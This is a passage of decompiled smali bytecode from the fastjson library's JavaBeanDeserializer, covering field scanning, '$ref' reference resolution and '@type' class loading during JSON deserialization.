                                                246invoke-virtual {v10, v5, v11}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->scanFieldSymbol([CLcom/alibaba/fastjson/parser/SymbolTable;)Ljava/lang/String;
                                                247move-result-object v5
                                                248iget v11, v10, Lcom/alibaba/fastjson/parser/JSONLexerBase;->matchStat:I
                                                249if-lez v11, :cond_168
                                                251invoke-static {v6, v5}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum;
                                                252move-result-object v5
                                                253goto/16 :goto_1cb
                                                254cond_168: iget v5, v10, Lcom/alibaba/fastjson/parser/JSONLexerBase;->matchStat:I
                                                255if-ne v5, v14, :cond_1dc
                                                256goto/16 :goto_1d3
                                                257cond_16e:
                                                258invoke-virtual {v10, v5}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->matchField([C)Z
                                                259move-result v5
                                                260if-eqz v5, :cond_1d3
                                                261const/4 v5, 0x1
                                                262goto/16 :goto_1dd
                                                263cond_177:
                                                264invoke-virtual {v10, v5}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->scanFieldDouble([C)D
                                                265move-result-wide v17
                                                267invoke-static/range {v17 .. v18}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
                                                268move-result-object v5
                                                269iget v11, v10, Lcom/alibaba/fastjson/parser/JSONLexerBase;->matchStat:I
                                                270if-lez v11, :cond_184
                                                271goto/16 :goto_1cb
                                                272cond_184: iget v11, v10, Lcom/alibaba/fastjson/parser/JSONLexerBase;->matchStat:I
                                                273if-ne v11, v14, :cond_1d8
                                                274goto/16 :goto_1d3
                                                275goto_189:
                                                276invoke-virtual {v10, v5}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->scanFieldFloat([C)F
                                                277move-result v5
                                                279invoke-static {v5}, Ljava/lang/Float;->valueOf(F)Ljava/lang/Float;
                                                280move-result-object v5
                                                281iget v11, v10, Lcom/alibaba/fastjson/parser/JSONLexerBase;->matchStat:I
                                                282if-lez v11, :cond_196
                                                283goto/16 :goto_1cb
                                                284cond_196: iget v11, v10, Lcom/alibaba/fastjson/parser/JSONLexerBase;->matchStat:I
                                                285if-ne v11, v14, :cond_1d8
                                                286goto/16 :goto_1d3
                                                287goto_19b:
                                                288invoke-virtual {v10, v5}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->scanFieldBoolean([C)Z
                                                289move-result v5
                                                291invoke-static {v5}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                                                292move-result-object v5
                                                293iget v11, v10, Lcom/alibaba/fastjson/parser/JSONLexerBase;->matchStat:I
                                                294if-lez v11, :cond_1a8
                                                295goto/16 :goto_1cb
                                                296cond_1a8: iget v11, v10, Lcom/alibaba/fastjson/parser/JSONLexerBase;->matchStat:I
                                                297if-ne v11, v14, :cond_1d8
                                                298goto/16 :goto_1d3
                                                299goto_1ad:
                                                300invoke-virtual {v10, v5}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->scanFieldLong([C)J
                                                301move-result-wide v17
                                                303invoke-static/range {v17 .. v18}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                                                304move-result-object v5
                                                305iget v11, v10, Lcom/alibaba/fastjson/parser/JSONLexerBase;->matchStat:I
                                                306if-lez v11, :cond_1ba
                                                307goto/16 :goto_1cb
                                                308cond_1ba: iget v11, v10, Lcom/alibaba/fastjson/parser/JSONLexerBase;->matchStat:I
                                                309if-ne v11, v14, :cond_1d8
                                                310goto/16 :goto_1d3
                                                311goto_1bf:
                                                312invoke-virtual {v10, v5}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->scanFieldInt([C)I
                                                313move-result v5
                                                315invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                316move-result-object v5
                                                317iget v11, v10, Lcom/alibaba/fastjson/parser/JSONLexerBase;->matchStat:I
                                                318if-lez v11, :cond_1cf
                                                319goto_1cb: move-object v14, v5
                                                320const/4 v5, 0x1
                                                321const/4 v11, 0x1
                                                322goto/16 :goto_1df
                                                323cond_1cf: iget v11, v10, Lcom/alibaba/fastjson/parser/JSONLexerBase;->matchStat:I
                                                324if-ne v11, v14, :cond_1d8
                                                325cond_1d3: move/from16 v17, v4
                                                326goto_1d5: const/4 v6, 0x1
                                                327goto/16 :goto_2e8
                                                328cond_1d8: move-object v14, v5
                                                329const/4 v5, 0x0
                                                330const/4 v11, 0x0
                                                331goto/16 :goto_1df
                                                332cond_1dc: const/4 v5, 0x0
                                                333goto_1dd: const/4 v11, 0x0
                                                334const/4 v14, 0x0
                                                335goto_1df: if-nez v5, :cond_340
                                                336move/from16 v17, v4
                                                338iget-object v4, v8, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->symbolTable:Lcom/alibaba/fastjson/parser/SymbolTable;
                                                340invoke-virtual {v10, v4}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->scanSymbol(Lcom/alibaba/fastjson/parser/SymbolTable;)Ljava/lang/String;
                                                341move-result-object v4
                                                342if-nez v4, :cond_20b
                                                343move-object/from16 v18, v6
                                                345invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->token()I
                                                346move-result v6
                                                347move-object/from16 p4, v14
                                                348const/16 v14, 0xd
                                                349if-ne v6, v14, :cond_1fe
                                                350const/16 v14, 0x10
                                                352invoke-virtual {v10, v14}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->nextToken(I)V
                                                353goto/16 :goto_2e3
                                                354cond_1fe: const/16 v14, 0x10
                                                355if-ne v6, v14, :cond_20f
                                                357sget-object v6, Lcom/alibaba/fastjson/parser/Feature;->AllowArbitraryCommas:Lcom/alibaba/fastjson/parser/Feature;
                                                359invoke-virtual {v10, v6}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->isEnabled(Lcom/alibaba/fastjson/parser/Feature;)Z
                                                360move-result v6
                                                361if-eqz v6, :cond_20f
                                                362goto/16 :goto_1d5
                                                363cond_20b: move-object/from16 v18, v6
                                                364move-object/from16 p4, v14
                                                365cond_20f:
                                                366const-string v6, "$ref"
                                                367if-ne v6, v4, :cond_2b6
                                                368const/4 v6, 0x4
                                                370invoke-virtual {v10, v6}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->nextTokenWithColon(I)V
                                                372invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->token()I
                                                373move-result v0
                                                374if-ne v0, v6, :cond_29b
                                                376invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->stringVal()Ljava/lang/String;
                                                377move-result-object v0
                                                379const-string v3, "@"
                                                381invoke-virtual {v3, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                382move-result v3
                                                383if-eqz v3, :cond_22d
                                                385iget-object v0, v13, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                386move-object v1, v0
                                                387goto/16 :goto_278
                                                388cond_22d:
                                                389const-string v3, ".."
                                                391invoke-virtual {v3, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                392move-result v3
                                                393if-eqz v3, :cond_24a
                                                395iget-object v3, v13, Lcom/alibaba/fastjson/parser/ParseContext;->parent:Lcom/alibaba/fastjson/parser/ParseContext;
                                                397iget-object v4, v3, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                398if-eqz v4, :cond_23e
                                                400iget-object v1, v3, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                401goto/16 :goto_278
                                                402cond_23e: new-instance v4, Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;
                                                404invoke-direct {v4, v3, v0}, Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;-><init>(Lcom/alibaba/fastjson/parser/ParseContext;Ljava/lang/String;)V
                                                406invoke-virtual {v8, v4}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->addResolveTask(Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;)V
                                                407const/4 v0, 0x1
                                                408iput v0, v8, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->resolveStatus:I
                                                409goto/16 :goto_278
                                                410cond_24a:
                                                411const-string v3, "$"
                                                413invoke-virtual {v3, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                414move-result v3
                                                415if-eqz v3, :cond_26d
                                                416move-object v3, v13
                                                417goto_253:
                                                418iget-object v4, v3, Lcom/alibaba/fastjson/parser/ParseContext;->parent:Lcom/alibaba/fastjson/parser/ParseContext;
                                                419if-eqz v4, :cond_25a
                                                421iget-object v3, v3, Lcom/alibaba/fastjson/parser/ParseContext;->parent:Lcom/alibaba/fastjson/parser/ParseContext;
                                                422goto/16 :goto_253
                                                423cond_25a:
                                                424iget-object v4, v3, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                425if-eqz v4, :cond_261
                                                427iget-object v1, v3, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                428goto/16 :goto_278
                                                429cond_261: new-instance v4, Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;
                                                431invoke-direct {v4, v3, v0}, Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;-><init>(Lcom/alibaba/fastjson/parser/ParseContext;Ljava/lang/String;)V
                                                433invoke-virtual {v8, v4}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->addResolveTask(Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;)V
                                                434const/4 v0, 0x1
                                                435iput v0, v8, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->resolveStatus:I
                                                436goto/16 :goto_278
                                                437cond_26d: new-instance v3, Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;
                                                439invoke-direct {v3, v13, v0}, Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;-><init>(Lcom/alibaba/fastjson/parser/ParseContext;Ljava/lang/String;)V
                                                441invoke-virtual {v8, v3}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->addResolveTask(Lcom/alibaba/fastjson/parser/DefaultJSONParser$ResolveTask;)V
                                                442const/4 v6, 0x1
                                                443iput v6, v8, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->resolveStatus:I
                                                444goto_278: const/16 v0, 0xd
                                                446invoke-virtual {v10, v0}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->nextToken(I)V
                                                448invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->token()I
                                                449move-result v3
                                                450if-ne v3, v0, :cond_293
                                                451const/16 v0, 0x10
                                                453invoke-virtual {v10, v0}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->nextToken(I)V
                                                455invoke-virtual {v8, v13, v1, v9}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;Ljava/lang/Object;Ljava/lang/Object;)Lcom/alibaba/fastjson/parser/ParseContext;
                                                456try_end_28b: if-eqz v2, :cond_28f
                                                457iput-object v1, v2, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                458cond_28f:
                                                459invoke-virtual {v8, v13}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                460return-object v1
                                                461cond_293: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                463const-string v3, "illegal ref"
                                                465invoke-direct {v0, v3}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                466throw v0
                                                467cond_29b: new-instance v3, Lcom/alibaba/fastjson/JSONException;
                                                468new-instance v4, Ljava/lang/StringBuilder;
                                                470invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                472const-string v5, "illegal ref, "
                                                474invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                476invoke-static {v0}, Lcom/alibaba/fastjson/parser/JSONToken;->name(I)Ljava/lang/String;
                                                477move-result-object v0
                                                479invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                481invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                482move-result-object v0
                                                484invoke-direct {v3, v0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                485throw v3
                                                486cond_2b6: const/4 v6, 0x1
                                                488sget-object v14, Lcom/alibaba/fastjson/JSON;->DEFAULT_TYPE_KEY:Ljava/lang/String;
                                                489if-ne v14, v4, :cond_348
                                                490const/4 v14, 0x4
                                                492invoke-virtual {v10, v14}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->nextTokenWithColon(I)V
                                                494invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->token()I
                                                495move-result v4
                                                496if-ne v4, v14, :cond_338
                                                498invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->stringVal()Ljava/lang/String;
                                                499move-result-object v4
                                                500const/16 v5, 0x10
                                                502invoke-virtual {v10, v5}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->nextToken(I)V
                                                504iget-object v5, v7, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->beanInfo:Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                506iget-object v5, v5, Lcom/alibaba/fastjson/util/JavaBeanInfo;->typeName:Ljava/lang/String;
                                                508invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                509move-result v5
                                                510if-eqz v5, :cond_2f7
                                                512invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->token()I
                                                513move-result v4
                                                514const/16 v5, 0xd
                                                515if-ne v4, v5, :cond_2e8
                                                517invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->nextToken()V
                                                518goto_2e3: move-object v14, v1
                                                519move-object v12, v2
                                                520move-object v11, v3
                                                521goto/16 :goto_3e8
                                                522goto_2e8: move-object v14, v1
                                                523move-object/from16 v16, v2
                                                524move-object v11, v3
                                                525move/from16 v15, v17
                                                526const/4 v1, 0x0
                                                527const/16 v2, 0x10
                                                528const/16 v3, 0xd
                                                529const/4 v4, 0x0
                                                530const/4 v12, 0x1
                                                531goto/16 :goto_4fa
                                                532cond_2f7:
                                                533invoke-virtual/range {p1 .. p1}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->getConfig()Lcom/alibaba/fastjson/parser/ParserConfig;
                                                534move-result-object v3
                                                536iget-object v5, v7, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->beanInfo:Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                538invoke-virtual {v7, v3, v5, v4}, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->getSeeAlso(Lcom/alibaba/fastjson/parser/ParserConfig;Lcom/alibaba/fastjson/util/JavaBeanInfo;Ljava/lang/String;)Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;
                                                539move-result-object v5
                                                540if-nez v5, :cond_32b
                                                542invoke-virtual {v3}, Lcom/alibaba/fastjson/parser/ParserConfig;->getDefaultClassLoader()Ljava/lang/ClassLoader;
                                                543move-result-object v3
                                                545invoke-static {v4, v3}, Lcom/alibaba/fastjson/util/TypeUtils;->loadClass(Ljava/lang/String;Ljava/lang/ClassLoader;)Ljava/lang/Class;
                                                546move-result-object v12
                                                548invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/util/TypeUtils;->getClass(Ljava/lang/reflect/Type;)Ljava/lang/Class;
                                                549move-result-object v0
                                                550if-eqz v0, :cond_322
                                                551if-eqz v12, :cond_31a
                                                553invoke-virtual {v0, v12}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                554move-result v0
                                                555if-eqz v0, :cond_31a
                                                556goto/16 :goto_322
                                                557cond_31a: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                559const-string v3, "type not match"
                                                561invoke-direct {v0, v3}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                562throw v0
                                                563goto_322:
                                                564invoke-virtual/range {p1 .. p1}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->getConfig()Lcom/alibaba/fastjson/parser/ParserConfig;
                                                565move-result-object v0
                                                567invoke-virtual {v0, v12}, Lcom/alibaba/fastjson/parser/ParserConfig;->getDeserializer(Ljava/lang/reflect/Type;)Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;
                                                568move-result-object v5
                                                569goto/16 :goto_32c
                                                570cond_32b: const/4 v12, 0x0
                                                571goto_32c:
                                                572invoke-interface {v5, v8, v12, v9}, Lcom/alibaba/fastjson/parser/deserializer/ObjectDeserializer;->deserialze(Lcom/alibaba/fastjson/parser/DefaultJSONParser;Ljava/lang/reflect/Type;Ljava/lang/Object;)Ljava/lang/Object;
                                                573move-result-object v0
                                                574try_end_330: if-eqz v2, :cond_334
                                                575iput-object v1, v2, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                576cond_334:
                                                577invoke-virtual {v8, v13}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                578return-object v0
                                                579cond_338: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                581const-string v3, "syntax error"
                                                583invoke-direct {v0, v3}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                584throw v0
                                                585cond_340: move/from16 v17, v4
                                                586move-object/from16 v18, v6
                                                587move-object/from16 p4, v14
                                                588const/4 v6, 0x1
                                                589const/4 v4, 0x0
                                                590cond_348: if-nez v1, :cond_35e
                                                591if-nez v3, :cond_35e
                                                593invoke-virtual/range {p0 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->createInstance(Lcom/alibaba/fastjson/parser/DefaultJSONParser;Ljava/lang/reflect/Type;)Ljava/lang/Object;
                                                594move-result-object v1
                                                595if-nez v1, :cond_35a
                                                596new-instance v3, Ljava/util/HashMap;
                                                598iget-object v14, v7, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->fieldDeserializers:[Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;
                                                599array-length v14, v14
                                                601invoke-direct {v3, v14}, Ljava/util/HashMap;-><init>(I)V
                                                602cond_35a:
                                                603invoke-virtual {v8, v13, v1, v9}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;Ljava/lang/Object;Ljava/lang/Object;)Lcom/alibaba/fastjson/parser/ParseContext;
                                                604move-result-object v2
                                                605cond_35e: move-object v14, v1
                                                606move-object/from16 v16, v2
                                                607if-eqz v5, :cond_3a0
                                                608if-nez v11, :cond_36e
                                                609try_start_365:
                                                610invoke-virtual {v12, v8, v14, v0, v3}, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;->parseField(Lcom/alibaba/fastjson/parser/DefaultJSONParser;Ljava/lang/Object;Ljava/lang/reflect/Type;Ljava/util/Map;)V
                                                611cond_368: move-object v11, v3
                                                612move/from16 v15, v17
                                                613const/4 v12, 0x1
                                                614goto/16 :goto_3d1
                                                615cond_36e: if-nez v14, :cond_378
                                                617iget-object v1, v15, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                618move-object/from16 v5, p4
                                                620invoke-interface {v3, v1, v5}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                621goto/16 :goto_399
                                                622cond_378: move-object/from16 v5, p4
                                                623if-nez v5, :cond_396
                                                625sget-object v1, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                626move-object/from16 v2, v18
                                                627if-eq v2, v1, :cond_399
                                                629sget-object v1, Ljava/lang/Long;->TYPE:Ljava/lang/Class;
                                                630if-eq v2, v1, :cond_399
                                                632sget-object v1, Ljava/lang/Float;->TYPE:Ljava/lang/Class;
                                                633if-eq v2, v1, :cond_399
                                                635sget-object v1, Ljava/lang/Double;->TYPE:Ljava/lang/Class;
                                                636if-eq v2, v1, :cond_399
                                                638sget-object v1, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                639if-eq v2, v1, :cond_399
                                                641invoke-virtual {v12, v14, v5}, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;->setValue(Ljava/lang/Object;Ljava/lang/Object;)V
                                                642goto/16 :goto_399
                                                643cond_396:
                                                644invoke-virtual {v12, v14, v5}, Lcom/alibaba/fastjson/parser/deserializer/FieldDeserializer;->setValue(Ljava/lang/Object;Ljava/lang/Object;)V
                                                645cond_399: iget v1, v10, Lcom/alibaba/fastjson/parser/JSONLexerBase;->matchStat:I
                                                646const/4 v5, 0x4
                                                647if-ne v1, v5, :cond_368
                                                648move-object v11, v3
                                                649goto/16 :goto_3e6
                                                650cond_3a0: const/4 v5, 0x4
                                                651move-object/from16 v1, p0
                                                652move-object/from16 v2, p1
                                                653move-object v11, v3
                                                654move-object v3, v4
                                                655move/from16 v15, v17
                                                656move-object v4, v14
                                                657const/4 v12, 0x4
                                                658move-object/from16 v5, p2
                                                659const/4 v12, 0x1
                                                660move-object v6, v11
                                                662invoke-virtual/range {v1 .. v6}, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->parseField(Lcom/alibaba/fastjson/parser/DefaultJSONParser;Ljava/lang/String;Ljava/lang/Object;Ljava/lang/reflect/Type;Ljava/util/Map;)Z
                                                663move-result v1
                                                664if-nez v1, :cond_3c9
                                                666invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->token()I
                                                667move-result v1
                                                668const/16 v2, 0xd
                                                669if-ne v1, v2, :cond_3c1
                                                671invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->nextToken()V
                                                672goto/16 :goto_3e6
                                                673cond_3c1: const/4 v1, 0x0
                                                674const/16 v2, 0x10
                                                675goto_3c4: const/16 v3, 0xd
                                                676const/4 v4, 0x0
                                                677goto/16 :goto_4fa
                                                678cond_3c9:
                                                679invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->token()I
                                                680move-result v1
                                                681const/16 v2, 0x11
                                                682if-eq v1, v2, :cond_528
                                                683goto_3d1:
                                                684invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->token()I
                                                685move-result v1
                                                686const/16 v2, 0x10
                                                687if-ne v1, v2, :cond_3db
                                                688const/4 v1, 0x0
                                                689goto/16 :goto_3c4
                                                690cond_3db:
                                                691invoke-virtual {v10}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->token()I
                                                692move-result v1
                                                693const/16 v3, 0xd
                                                694if-ne v1, v3, :cond_4ea
                                                696invoke-virtual {v10, v2}, Lcom/alibaba/fastjson/parser/JSONLexerBase;->nextToken(I)V
                                                697goto_3e6: move-object/from16 v12, v16
                                                698goto_3e8: if-nez v14, :cond_4c0
                                                699if-nez v11, :cond_402
                                                700try_start_3ec:
                                                701invoke-virtual/range {p0 .. p2}, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->createInstance(Lcom/alibaba/fastjson/parser/DefaultJSONParser;Ljava/lang/reflect/Type;)Ljava/lang/Object;
                                                702move-result-object v1
                                                703try_end_3f0: if-nez v12, :cond_3fa
                                                704try_start_3f2:
                                                705invoke-virtual {v8, v13, v1, v9}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;Ljava/lang/Object;Ljava/lang/Object;)Lcom/alibaba/fastjson/parser/ParseContext;
                                                706move-result-object v12
                                                707try_end_3f6: goto/16 :goto_3fa
                                                708catchall_3f7: move-exception v0
                                                709goto/16 :goto_48
                                                710goto_3fa: if-eqz v12, :cond_3fe
                                                711iput-object v1, v12, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                712cond_3fe:
                                                713invoke-virtual {v8, v13}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                714return-object v1
                                                715cond_402:
                                                716iget-object v0, v7, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->beanInfo:Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                718iget-object v0, v0, Lcom/alibaba/fastjson/util/JavaBeanInfo;->fields:[Lcom/alibaba/fastjson/util/FieldInfo;
                                                719array-length v1, v0
                                                720new-array v2, v1, [Ljava/lang/Object;
                                                721const/4 v3, 0x0
                                                722goto_40a: if-ge v3, v1, :cond_460
                                                723aget-object v4, v0, v3
                                                725iget-object v5, v4, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                727invoke-interface {v11, v5}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                728move-result-object v5
                                                729if-nez v5, :cond_45b
                                                731iget-object v4, v4, Lcom/alibaba/fastjson/util/FieldInfo;->fieldType:Ljava/lang/reflect/Type;
                                                733sget-object v6, Ljava/lang/Byte;->TYPE:Ljava/lang/Class;
                                                734if-ne v4, v6, :cond_422
                                                735const/4 v6, 0x0
                                                737invoke-static {v6}, Ljava/lang/Byte;->valueOf(B)Ljava/lang/Byte;
                                                738move-result-object v5
                                                739goto/16 :goto_45b
                                                740cond_422: const/4 v6, 0x0
                                                742sget-object v9, Ljava/lang/Short;->TYPE:Ljava/lang/Class;
                                                743if-ne v4, v9, :cond_42c
                                                745invoke-static {v6}, Ljava/lang/Short;->valueOf(S)Ljava/lang/Short;
                                                746move-result-object v5
                                                747goto/16 :goto_45b
                                                748cond_42c:
                                                749sget-object v9, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                750if-ne v4, v9, :cond_435
                                                752invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                753move-result-object v5
                                                754goto/16 :goto_45b
                                                755cond_435:
                                                756sget-object v6, Ljava/lang/Long;->TYPE:Ljava/lang/Class;
                                                757if-ne v4, v6, :cond_440
                                                758const-wide/16 v4, 0x0
                                                760invoke-static {v4, v5}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
                                                761move-result-object v5
                                                762goto/16 :goto_45b
                                                763cond_440:
                                                764sget-object v6, Ljava/lang/Float;->TYPE:Ljava/lang/Class;
                                                765if-ne v4, v6, :cond_44a
                                                766const/4 v4, 0x0
                                                768invoke-static {v4}, Ljava/lang/Float;->valueOf(F)Ljava/lang/Float;
                                                769move-result-object v5
                                                770goto/16 :goto_45b
                                                771cond_44a:
                                                772sget-object v6, Ljava/lang/Double;->TYPE:Ljava/lang/Class;
                                                773if-ne v4, v6, :cond_455
                                                774const-wide/16 v4, 0x0
                                                776invoke-static {v4, v5}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
                                                777move-result-object v5
                                                778goto/16 :goto_45b
                                                779cond_455:
                                                780sget-object v6, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                781if-ne v4, v6, :cond_45b
                                                783sget-object v5, Ljava/lang/Boolean;->FALSE:Ljava/lang/Boolean;
                                                784goto_45b: aput-object v5, v2, v3
                                                785add-int/lit8 v3, v3, 0x1
                                                786goto/16 :goto_40a
                                                787cond_460:
                                                788iget-object v0, v7, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->beanInfo:Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                790iget-object v0, v0, Lcom/alibaba/fastjson/util/JavaBeanInfo;->creatorConstructor:Ljava/lang/reflect/Constructor;
                                                791try_end_464: if-eqz v0, :cond_490
                                                792try_start_466:
                                                793iget-object v0, v7, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->beanInfo:Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                795iget-object v0, v0, Lcom/alibaba/fastjson/util/JavaBeanInfo;->creatorConstructor:Ljava/lang/reflect/Constructor;
                                                797invoke-virtual {v0, v2}, Ljava/lang/reflect/Constructor;->newInstance([Ljava/lang/Object;)Ljava/lang/Object;
                                                798move-result-object v0
                                                799goto_46e: move-object v14, v0
                                                800goto/16 :goto_4c0
                                                801catch_470: move-exception v0
                                                802try_start_471: new-instance v1, Lcom/alibaba/fastjson/JSONException;
                                                803new-instance v2, Ljava/lang/StringBuilder;
                                                805invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                807const-string v3, "create instance error, "
                                                809invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                811iget-object v3, v7, Lcom/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer;->beanInfo:Lcom/alibaba/fastjson/util/JavaBeanInfo;
                                                813iget-object v3, v3, Lcom/alibaba/fastjson/util/JavaBeanInfo;->creatorConstructor:Ljava/lang/reflect/Constructor;
                                                815invoke-virtual {v3}, Ljava/lang/reflect/Constructor;->toGenericString()Ljava/lang/String;
                                                816move-result-object v3
                                                818invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                820invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                821move-result-object v2
                                                823invoke-direct {v1, v2, v0}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                824throw v1
                                                825cond_490:
